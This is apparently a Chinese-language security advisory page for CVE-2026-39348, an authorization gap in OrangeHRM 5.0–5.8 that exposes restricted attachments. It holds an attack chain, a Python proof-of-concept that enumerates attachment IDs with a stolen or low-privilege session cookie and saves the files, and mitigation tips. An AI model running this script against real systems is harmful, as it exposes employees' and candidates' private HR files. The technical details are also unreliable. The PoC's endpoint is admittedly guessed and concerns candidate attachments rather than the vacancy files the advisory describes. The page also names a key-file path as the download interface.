IPBUF安全漏洞报告
English
CVE-2026-39348 CVSS 4.3 中危

CVE-2026-39348 OrangeHRM越权读取附件漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-39348
漏洞类型
权限绕过 (IDOR)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OrangeHRM Open Source

相关标签

IDOR权限绕过OrangeHRM信息泄露

漏洞概述

OrangeHRM是一款开源的人力资源管理系统。在5.0至5.8版本中,系统在处理职位规范和空缺附件下载时缺失授权检查。这允许经过身份验证的低权限用户通过直接引用附件标识符,非法读取受限的附件文件。该漏洞可能导致敏感信息泄露,已在5.8.1版本中修复。

技术细节

该漏洞属于不安全的直接对象引用(IDOR)。受影响的OrangeHRM版本在 `/lib/confs/cryptokeys/kp` 或相关附件下载接口中未实施充分的权限验证逻辑。虽然系统要求用户进行身份认证(PR:L),但在处理下载请求时,服务器仅验证了会话有效性,未验证当前用户是否有权访问请求的特定资源ID。攻击者可以通过枚举或猜测附件ID(通常是连续整数),构造特定的HTTP GET请求。由于缺乏访问控制检查,服务器会直接响应文件内容,导致低权限用户能够下载管理员或其他用户的敏感附件,造成信息泄露。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标OrangeHRM系统,并确认其版本在5.0到5.8之间。
STEP 2
2. 获取低权限凭证
攻击者通过钓鱼、默认凭证或注册功能获取一个普通用户的登录凭证。
STEP 3
3. 发动IDOR攻击
攻击者使用低权限账户登录,抓包分析或猜测附件ID,直接向下载端点发送包含目标ID的请求。
STEP 4
4. 获取敏感数据
由于服务器未校验权限,直接返回附件内容,攻击者成功下载本无权查看的文件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-39348: IDOR in OrangeHRM Attachment Download # Description: Exploits missing authorization check to download attachments by ID. import requests def exploit_orangehrm_idor(target_url, session_cookie, attachment_id): """ Attempts to download an attachment using a low-privilege session. """ # The vulnerable endpoint might be similar to this structure based on the advisory # Note: The exact endpoint path needs to be verified against the specific version url = f"{target_url}/index.php/recruitment/viewCandidateAttachment/{attachment_id}" headers = { "Cookie": session_cookie, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: response = requests.get(url, headers=headers) if response.status_code == 200: print(f"[+] Successfully downloaded attachment ID: {attachment_id}") print(f"[+] Content-Type: {response.headers.get('Content-Type')}") # Save the file with open(f"attachment_{attachment_id}", "wb") as f: f.write(response.content) return True else: print(f"[-] Failed to download. Status code: {response.status_code}") return False except Exception as e: print(f"[-] Error: {e}") return False # Example usage # target = "http://localhost/orangehrm" # cookie = "PHPSESSID=attacker_session_id_here" # exploit_orangehrm_idor(target, cookie, 1)

影响范围

OrangeHRM Open Source 5.0
OrangeHRM Open Source 5.1
OrangeHRM Open Source 5.2
OrangeHRM Open Source 5.3
OrangeHRM Open Source 5.4
OrangeHRM Open Source 5.5
OrangeHRM Open Source 5.6
OrangeHRM Open Source 5.7
OrangeHRM Open Source 5.8

防御指南

临时缓解措施
在未升级版本前,建议通过Web应用防火墙(WAF)对附件下载请求进行严格过滤,增加用户上下文权限校验逻辑。同时,应定期审计系统日志,监控是否有异常的批量附件下载行为,并及时重置可能受影响的低权限账户密码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表